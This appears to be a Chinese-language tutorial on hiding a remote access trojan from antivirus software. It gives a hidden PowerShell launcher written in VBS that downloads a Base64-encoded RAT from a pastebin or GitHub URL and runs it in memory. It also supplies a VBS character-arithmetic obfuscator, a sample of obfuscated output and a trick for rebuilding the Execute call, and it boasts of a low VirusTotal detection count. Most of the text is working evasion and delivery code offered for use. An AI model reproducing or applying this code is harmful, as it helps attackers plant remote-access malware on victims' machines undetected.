基于PowerShll的免杀思路，过国外主流杀毒

1） 首先准备一个你的RAT小马，可以是任何exe后缀的文件
2）使用工具将exe转换为Base64格式
3）将Base64字符串上传到pastebin.com，或者github，得到一个可访问的raw的地址

4）将得到的raw地址，替换下面ps代码中的URL，并将该文件保存为Inject to powershell.vbs

CreateObject("WScript.Shell").Run "PowerShell.exe -windowstyle hidden -noexit [AppDomain]::CurrentDomain.Load([Convert]::Frombase64String((New-Object System.Net.WebClient).Downloadstring(" & "'URL'))).EntryPoint.invoke($null,$null)"

5）将下面vbs代码保存为Simpl Crypt Method.vbs

Randomize
Set oARG=WScript.Arguments
Set oFSO=CreateObject("Scripting.FileSystemObject")
If oARG.Count=0 Then WScript.Quit
For Each File In oARG
	Set s=oFSO.OpenTextFile(File,1)
	Set o=oFSO.CreateTextFile(File& "_.vbs",True)
	o.WriteLine "Execute("& r(s.readall)& ")"
Next
Function r(x)
	for i=1 To Len(x)
		e=e& "chr("& f(asc(mid(x,i,1)))& ")& "
	next
	r=Left(e,Len(e)-2)
End Function
Function f(n)
	m=int(rnd*99)+1
	If n mod m=0 Then
		t=(n/m)& "*"& m
	Else
		u=int(rnd*1)
		If u=0 Then t=(n+m)& "-"& m
		
	End If
	f=t
End Function

6）将前面的Inject to powershell.vbs文件拖拽到Simpl Crypt Method.vbs文件上进行加密，得到加密后的文件Inject to powershell.vbs_.vbs

Execute(chr(77-64)& chr(84-74)& chr(145-78)& chr(177-63)& chr(194-93)& chr(183-86)& chr(142-26)& chr(120-19)& chr(154-75)& chr(161-63)& chr(171-65)& chr(153-52)& chr(118-19)& chr(202-86)& chr(86-46)& chr(123-89)& chr(159-72)& chr(174-91)& chr(178-79)& chr(151-37)& chr(179-74)& chr(7*16)& chr(158-42)& chr(106-60)& chr(132-49)& chr(167-63)& chr(128-27)& chr(188-80)& chr(129-21)& chr(112-78)& chr(131-90)& chr(108-62)& chr(121-39)& chr(131-14)& chr(170-60)& chr(87-55)& chr(56-22)& chr(118-38)& chr(170-59)& chr(180-61)& chr(110-9)& chr(118-4)& chr(138-55)& chr(197-93)& chr(112-11)& chr(202-94)& chr(9*12)& chr(136-90)& chr(148-47)& chr(174-54)& chr(152-51)& chr(75-43)& chr(49-4)& chr(186-67)& chr(114-9)& chr(195-85)& chr(50*2)& chr(205-94)& chr(133-14)& chr(171-56)& chr(58*2)& chr(182-61)& chr(204-96)& chr(119-18)& chr(91-59)& chr(133-29)& chr(113-8)& chr(124-24)& chr(188-88)& chr(129-28)& chr(171-61)& chr(8*4)& chr(118-73)& chr(125-15)& chr(167-56)& chr(171-70)& chr(152-32)& chr(137-32)& chr(159-43)& chr(91-59)& chr(179-88)& chr(151-86)& chr(155-43)& chr(175-63)& chr(82-14)& chr(129-18)& chr(126-17)& chr(143-46)& chr(180-75)& chr(135-25)& chr(142-49)& chr(111-53)& chr(143-85)& chr(81-14)& chr(209-92)& chr(177-63)& chr(163-49)& chr(148-47)& chr(131-21)& chr(154-38)& chr(88-20)& chr(208-97)& chr(186-77)& chr(167-70)& chr(151-46)& chr(203-93)& chr(72-26)& chr(115-39)& chr(130-19)& chr(170-73)& chr(50*2)& chr(102-62)& chr(175-84)& chr(114-47)& chr(192-81)& chr(11*10)& chr(123-5)& chr(110-9)& chr(184-70)& chr(140-24)& chr(113-20)& chr(144-86)& chr(108-50)& chr(110-40)& chr(121-7)& chr(149-38)& chr(150-41)& chr(122-24)& chr(103-6)& chr(146-31)& chr(168-67)& chr(65-11)& chr(94-42)& chr(165-82)& chr(180-64)& chr(123-9)& chr(176-71)& chr(55*2)& chr(176-73)& chr(137-97)& chr(102-62)& chr(130-52)& chr(199-98)& chr(216-97)& chr(53-8)& chr(169-90)& chr(108-10)& chr(116-10)& chr(135-34)& chr(142-43)& chr(184-68)& chr(121-89)& chr(110-27)& chr(217-96)& chr(164-49)& chr(133-17)& chr(116-15)& chr(197-88)& chr(139-93)& chr(126-48)& chr(114-13)& chr(175-59)& chr(100-54)& chr(156-69)& chr(175-74)& chr(195-97)& chr(116-49)& chr(147-39)& chr(149-44)& chr(198-97)& chr(11*10)& chr(142-26)& chr(74-33)& chr(125-79)& chr(97-29)& chr(176-65)& chr(214-95)& chr(138-28)& chr(27*4)& chr(140-29)& chr(142-45)& chr(122-22)& chr(177-62)& chr(186-70)& chr(211-97)& chr(194-89)& chr(122-12)& chr(149-46)& chr(138-98)& chr(104-70)& chr(91-59)& chr(46-8)& chr(51-19)& chr(123-89)& chr(93-54)& chr(108-23)& chr(137-55)& chr(93-17)& chr(41-2)& chr(63-22)& chr(120-79)& chr(47-6)& chr(53-7)& chr(116-47)& chr(202-92)& chr(169-53)& chr(138-24)& chr(130-9)& chr(149-69)& chr(154-43)& chr(118-13)& chr(139-29)& chr(129-13)& chr(144-98)& chr(188-83)& chr(204-94)& chr(121-3)& chr(144-33)& chr(153-46)& chr(106-5)& chr(83-43)& chr(131-95)& chr(173-63)& chr(143-26)& chr(6*18)& chr(201-93)& chr(80-36)& chr(126-90)& chr(148-38)& chr(195-78)& chr(134-26)& chr(108*1)& chr(119-78)& chr(114-80)& chr(23-10)& chr(105-95))

7）将生成的加密文件开头部分的Execute，改为C =

8） 在加密文件末尾追加以下vbs代码

Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(&H26&)
Set objFolderItem = objFolder.Self
 KK= Mid(objFolderItem.Path,1,1)
n="Exe" & KK & "ute(C)"
Eval(n)

9）最终的加密文件demo

10） VT扫描结果，只有3家报毒
https://www.virustotal.com/gui/file/3f937f6721235bd23674672df26f5dee1fad62959fe8cd5f09c060d39a51e480/detection